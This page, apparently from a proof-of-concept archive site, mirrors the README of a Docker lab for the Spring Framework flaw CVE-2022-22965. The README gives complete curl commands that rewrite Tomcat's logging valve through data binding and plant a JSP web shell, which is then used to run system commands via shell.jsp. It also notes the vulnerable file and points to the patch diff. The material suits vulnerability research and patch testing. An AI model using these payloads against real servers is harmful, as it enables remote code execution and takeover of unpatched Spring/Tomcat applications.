Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

Source
Associated Vulnerability
Title:Spring Framework 代码注入漏洞 (CVE-2022-22965)
Description:A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.
Description
Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5
Readme
# Spring Boot CVE-2022-22965
Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5

![Shell](shell.png "Shell image")

## 🚀 Getting Started
1. Download the distribution code from https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip and unzip it.
2. Run `docker compose up --build` to build and start the vulnerable application.
3. Run `curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="` to changes Tomcat config valve.
4. Run `curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"` to create the web shell.
5. Open your browser and go to http://localhost:8080/shell.jsp?1337=id to start executing commands.

---

## 🔎 Patch revision
The source code for Spring Framework 5.3.17 (vulnerable) and Spring Framework 5.3.18 (patched) can be downloaded respectively from: 

* https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
* https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip

```
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
```

The vulnerability is found in the `/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java` file at line `290` where validation is applied for `Class.getClassLoader()` and `getProtectionDomain()` methods but not for `ClassLoader`, `ProtectionDomain` types and `PropertyDescriptors` names.

The difference between the vulnerable code and the patched code can be obtained with the command diff.
```
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
```

![Patch](patch.png "Patch image")

---

## Credits

* Original research: @p1n93r
* Thanks: @fmunoz
File Snapshot

[4.0K] /data/pocs/3a6f7a5be61d815a65f961b0e05a425155fda96e ├── [ 154] docker-compose.yml ├── [ 259] Dockerfile ├── [ 71K] patch.png ├── [1.4K] pom.xml ├── [2.5K] README.md ├── [ 32K] shell.png └── [4.0K] src ├── [4.0K] main │   ├── [4.0K] java │   │   └── [4.0K] com │   │   └── [4.0K] example │   │   └── [4.0K] demo │   │   ├── [ 174] CommonBean.java │   │   ├── [ 427] DemoApplication.java │   │   ├── [ 541] EvalBeanController.java │   │   └── [ 757] EvalBean.java │   └── [4.0K] resources │   └── [ 0] application.properties └── [4.0K] test └── [4.0K] java └── [4.0K] com └── [4.0K] example └── [4.0K] demo └── [ 206] DemoApplicationTests.java 12 directories, 12 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →